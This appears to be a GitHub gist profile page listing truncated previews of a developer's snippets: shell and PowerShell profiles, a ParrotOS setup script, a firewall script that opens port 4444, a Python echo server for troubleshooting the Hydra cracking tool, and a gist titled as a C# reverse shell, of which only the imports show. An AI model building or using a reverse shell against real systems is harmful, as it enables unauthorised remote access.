Skip to content

Instantly share code, notes, and snippets.

View mrjamiebowman's full-sized avatar
🚀
git er' done

Jamie Bowman mrjamiebowman

🚀
git er' done
View GitHub Profile
@mrjamiebowman
mrjamiebowman / ReverseShell.cs
Last active October 3, 2023 04:46 — forked from BankSecurity/Simple_Rev_Shell.cs
C# Simple Reverse Shell Code
namespace RevShell
{
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
namespace ConnectBack
# oh my posh
oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH\clean-detailed.omp.json" | Invoke-Expression
# vim aliases
New-Alias -Name vi -Value 'C:\Program Files\Vim\vim90\vim.exe'
New-Alias -Name vim -Value 'C:\Program Files\vim\vim90\vim.exe'
New-Alias -Name omp -Value oh-my-posh
New-Alias -Name notepad++ -Value 'C:\Program Files\Notepad++\notepad++.exe'
New-Alias -Name gt -Value 'git log --graph --abbrev-commit --decorate --oneline --all'
@mrjamiebowman
mrjamiebowman / python3-echo-server-hydra
Last active February 3, 2020 01:38
Python 3 Echo Server for Troubleshooting Hydra
# credits to https://blog.anvileight.com/posts/simple-python-http-server/
from http.server import HTTPServer, BaseHTTPRequestHandler
from io import BytesIO
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
@mrjamiebowman
mrjamiebowman / .bashrc
Created December 4, 2019 21:30
.bashrc
# git alias
alias ll='ls -l'
alias ls='ls -F --color=auto --show-control-chars'
alias r='reset'
alias cs='clear; git status'
alias rs='reset; git status'
alias gp='git push'
# git commands
function n () {
@mrjamiebowman
mrjamiebowman / parrotos-setup.sh
Last active September 20, 2023 18:01
ParrotOS Setup
#!/bin/bash
# ufw firewall
sudo ufw enable
# secure delete & secure mem
sudo apt-get install secure-delete
sudo apt-get install smem
# tools
@mrjamiebowman
mrjamiebowman / hack-off.sh
Last active September 15, 2019 23:28
VPN Killswitch
#!/bin/bash
sudo ufw reset
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 4444/tcp
sudo ufw enable
# restart network manager
sudo service network-manager restart
[CRMEntity("account")]
public class AccountModel {
[CRM(FieldName = "accountid")]
public Guid? AccountId { get; set; }
[CRM(FieldName = "name")]
public string AccountName { get; set; }
[CRM(FieldName = "accountnumber")]
@mrjamiebowman
mrjamiebowman / keybase.md
Created November 9, 2018 01:52
keybase.md

Keybase proof

I hereby claim:

  • I am mrjamiebowman on github.
  • I am mrjamiebowman (https://keybase.io/mrjamiebowman) on keybase.
  • I have a public key whose fingerprint is CCE5 6796 80BC 3809 0988 6EA7 029D 0F9B 7937 8285

To claim this, I am signing this object: